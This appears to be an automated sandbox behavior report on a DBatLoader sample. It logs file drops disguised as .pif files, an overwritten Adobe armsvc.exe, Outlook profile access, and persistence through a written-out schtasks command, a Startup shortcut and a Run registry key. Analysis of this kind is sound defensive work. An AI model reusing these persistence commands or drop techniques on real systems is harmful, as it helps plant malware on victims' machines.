Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior

Source: C:\Users\user\Desktop\x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: TrojanAIbot.exe.lnk.10.dr

LNK file: ..\..\..\..\..\ACCApi\TrojanAIbot.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: x.exe

Static file information: File size 1081856 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: lxsyrsiW.pif, 00000008.00000003.2187757870.0000000028410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2110299253.000000007FCE0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C47000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000005.00000003.2166700706.00000000058F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbH source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2170510348.0000000021E90000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111145235.0000000002B70000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2110299253.000000007FCE0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2170510348.0000000021EBF000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2200179187.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C47000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000005.00000003.2166700706.00000000058F0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.x.exe.2ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: lxsyrsiW.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02ED894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02ED894C

Source: Wisrysxl.PIF.6.dr	Static PE information: real checksum: 0x0 should be: 0x10a70e
Source: x.exe	Static PE information: real checksum: 0x0 should be: 0x10a70e
Source: neworigin.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x480db
Source: armsvc.exe.8.dr	Static PE information: real checksum: 0x32318 should be: 0x149d34
Source: lxsyrsiW.pif.0.dr	Static PE information: real checksum: 0x0 should be: 0x1768a
Source: TrojanAIbot.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x42478
Source: server_BTC.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x42478

Source: alpha.pif.5.dr	Static PE information: section name: .didat
Source: armsvc.exe.8.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EED2FC push 02EED367h; ret	0_2_02EED35F
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC63AE push 02EC640Bh; ret	0_2_02EC6403
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC63B0 push 02EC640Bh; ret	0_2_02EC6403
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EEC378 push 02EEC56Eh; ret	0_2_02EEC566
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ECC349 push 8B02ECC1h; ret	0_2_02ECC34E
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC332C push eax; ret	0_2_02EC3368
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EED0AC push 02EED125h; ret	0_2_02EED11D
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EEE0A9 push edx; retf	0_2_02EEE0AA
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED306C push 02ED30B9h; ret	0_2_02ED30B1
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED306B push 02ED30B9h; ret	0_2_02ED30B1
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EED1F8 push 02EED288h; ret	0_2_02EED280
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EED144 push 02EED1ECh; ret	0_2_02EED1E4
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDF108 push ecx; mov dword ptr [esp], edx	0_2_02EDF10D
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC6784 push 02EC67C6h; ret	0_2_02EC67BE
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC6782 push 02EC67C6h; ret	0_2_02EC67BE
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ECD5A0 push 02ECD5CCh; ret	0_2_02ECD5C4
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ECC56C push ecx; mov dword ptr [esp], edx	0_2_02ECC571
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EEC570 push 02EEC56Eh; ret	0_2_02EEC566
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDAAE0 push 02EDAB18h; ret	0_2_02EDAB10
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED8AD8 push 02ED8B10h; ret	0_2_02ED8B08
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ECCA4F push 02ECCD72h; ret	0_2_02ECCD6A
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ECCBEC push 02ECCD72h; ret	0_2_02ECCD6A
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED886C push 02ED88AEh; ret	0_2_02ED88A6
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02F34850 push eax; ret	0_2_02F34920
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED6948 push 02ED69F3h; ret	0_2_02ED69EB
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED6946 push 02ED69F3h; ret	0_2_02ED69EB
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED790C push 02ED7989h; ret	0_2_02ED7981
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED5E7C push ecx; mov dword ptr [esp], edx	0_2_02ED5E7E
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED2F60 push 02ED2FD6h; ret	0_2_02ED2FCE
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_1000B180 push 1000B0CAh; ret	8_1_1000B061
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_1000B180 push 1000B30Dh; ret	8_1_1000B1E6

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Wisrysxl.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Users\user\Desktop\x.exe	File created: C:\Users\Public\Libraries\lxsyrsiW.pif	Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Jump to behavior

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File created: C:\Users\user\AppData\Local\Temp\neworigin.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Wisrysxl.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	File created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\x.exe	File created: C:\Users\Public\Libraries\lxsyrsiW.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File created: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f

Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrojanAIbot.exe.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrojanAIbot.exe.lnk

Jump to behavior

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Code function: 8_1_1002CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

8_1_1002CBD0

Source: C:\Users\user\Desktop\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Wisrysxl			Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Wisrysxl			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EDAB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02EDAB1C

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
